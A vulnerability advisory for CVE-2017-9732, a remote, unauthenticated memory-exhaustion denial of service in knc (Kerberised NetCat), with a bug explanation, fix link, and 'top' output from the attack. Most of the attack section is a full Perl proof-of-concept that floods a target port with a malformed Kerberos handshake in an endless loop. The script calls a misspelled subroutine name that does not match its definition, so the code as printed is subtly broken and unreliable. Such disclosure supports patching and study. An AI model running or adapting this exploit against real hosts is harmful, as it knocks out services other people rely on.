knc (Kerberized NetCat) Denial Of Service

# Product
"KNC is Kerberised NetCat. It works in basically the same way as either netcat or stunnel except that it is uses GSS-API to secure the communication. You can use it to construct client/server applications while keeping the Kerberos libraries out of your programs address space quickly and easily."

## Links
Official page:
http://oskt.secure-endpoints.com/knc.html
Source code repository:
https://github.com/elric1/knc/

## CVE-2017-9732 vulnerability
knc (Kerberised NetCat) before 1.11-1 is vulnerable to denial of service (memory exhaustion) that can be exploited remotely without authentication, possibly affecting another services running on the targeted host.

The knc implementation uses a temporary buffer in read_packet() function that is not freed (memory leak). An unauthenticated attacker can abuse this by sending a blob of valid kerberos handshake structure but with unexpected type; instead of token type AP_REQ (0x0100) I sent 0x0000 at bytes 16 and 17 in my proof of concept. During the attack, gss_sec_accept_context returns G_CONTINUE_NEEDED and the memory is exhausted in the long run.

The attack might not even be logged, depending on how the Open Source Kerberos Tooling stack is configured.

## Exploit

```
./memory-exhaustion-poc.pl target-host target-port
```

Top output ~30 seconds later:

```
2 CPUs;  last pid: 20507;  load averages:  1.26,  0.84,  0.38                                                                                                   14:11:53

268 processes: 4 running, 264 sleeping

CPU states: 38.6% user,  0.0% nice, 27.1% system, 34.3% idle

     cpu 0: 18.7% user,  0.0% nice, 22.9% system, 58.4% idle

     cpu 1: 54.7% user,  0.0% nice, 30.7% system, 14.6% idle

Memory: 7857M real, 7734M used, 122M free  Swap: 4094M total, 0K used, 4094M free

 

  PID  PSID USERNAME   THR PRI NICE  SIZE   RES STATE   TIME     CPU COMMAND

20156 19806 username     1  20    0 2165M 2133M cpu1   19:41  46.19% knc
...
```



## Bugfix
https://github.com/elric1/knc/commit/f237f3e09ecbaf59c897f5046538a7b1a3fa40c1


## Proof of concept
# memory-exhaustion-poc.pl

#!/usr/bin/perl

use strict;
use warnings;
use IO::Socket::INET;

my $host = shift @ARGV || "127.0.0.1";
my $port = shift @ARGV || 2666;

my $sock = IO::Socket::INET->new(PeerPort => $port, PeerAddr => $host) or die "Cant connect: $@\n";
$sock->autoflush();

my $data = pack("H*", without_spaces("
 60 82 02 32 06 09 2a 86 48 86 f7 12 01 02 02 00
 00 6e 82 02 21 30 82 02 1d a0 03 02 01 05 a1 03
 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 00 00 00 00 00 00 
"));

while(1){
  send_with_lenght_prefix($data);
}

sub send_with_length_prefix {
  my $d = shift;
  do_send(pack("N", length($d)));
  do_send($d);
}

sub do_send {
  my $d = shift;
  printf STDERR ">> %s\n", unpack("H*", $d);
  print $sock $d or die "Cant write: $!";  
}

sub without_spaces {
  my $d = shift;
  $d =~ s/\s*//g;
  return $d;
}